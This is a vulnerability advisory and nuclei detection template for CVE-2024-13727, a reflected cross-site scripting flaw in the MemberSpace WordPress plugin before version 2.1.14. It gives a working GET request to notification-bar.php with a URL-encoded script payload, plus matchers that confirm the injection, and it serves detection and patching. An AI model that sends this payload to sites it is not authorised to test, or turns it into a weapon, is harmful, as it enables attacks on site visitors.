MemberSpace WordPress - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

51%of all CVEs are less likely

Readycheck to confirm it

MemberSpace WordPress plugin < 2.1.14 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting unauthenticated attackers execute scripts, exploit requires no authentication.

Impact

Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.

Fix

Upgrade to version 2.1.14 or later.

How to confirm it

Send: GET /wp-content/plugins/memberspace/admin/partials/notification-bar.php?notification_type=1%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3…
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "></script><script>alert(document.domain)</script><script>","is-dismissible")

Run it with nuclei: nuclei -id CVE-2024-13727 -u <target>

The full check

id: CVE-2024-13727

info:
  name: MemberSpace WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    MemberSpace WordPress plugin < 2.1.14 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting unauthenticated attackers execute scripts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Upgrade to version 2.1.14 or later.
  reference:
    - https://wpscan.com/vulnerability/598d20f2-0f42-48f2-a941-0d6c5da5303e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13727
    cwe-id: CWE-79
    epss-score: 0.00626
    epss-percentile: 0.50378
    cpe: cpe:2.3:a:memberspace:memberspace:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,memberspace,memberspace,unauth,xss,wordpress,wp,wp-plugin

http:
  - raw:
      - |
        GET /wp-content/plugins/memberspace/admin/partials/notification-bar.php?notification_type=1%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>","is-dismissible")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from